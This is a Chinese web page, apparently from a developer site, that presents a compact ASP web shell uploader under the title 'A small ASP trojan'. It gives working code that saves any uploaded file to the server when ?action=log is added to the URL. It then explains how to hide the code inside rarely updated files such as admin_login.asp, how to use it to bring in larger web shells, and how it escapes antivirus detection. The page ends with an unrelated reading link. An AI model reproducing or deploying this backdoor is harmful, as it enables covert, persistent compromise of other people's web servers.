<%if request.QueryString("action")="log" thena=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2%><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form><%end if%>理由：能上传文件，简洁，体积小，不易发现。使用：先用海阳或蓝屏用编辑功能将马编辑进一些不易更新的文件里，比如admin_login.asp.操作人家文件时只要在浏览器里输入admin_login.asp?action=log即可上传海阳或蓝屏，操作完后用蓝屏等自身删除功能将蓝屏删除。下回来时在用这常驻马上传海阳等。几乎用不被查杀。

　　推荐阅读

　　FreeTextBox 中文版下载[含源代码]　of asp.net

调用代码 源代码FreeTextBox 1.6.3 中文版使用说明1.直接使用的方法：(1) 复制 bin 目录下的 FreeTextBox.dll 文件到你的 Web 应用程序目录中的 bin 目录或其上层的虚拟目录下的 bin 目录；(2) 复制 HelperScript>>>详细阅读

本文标题：一个ASP小马

地址：http://www.17bianji.com/kaifa2/ASP/33261.html

 1/2    1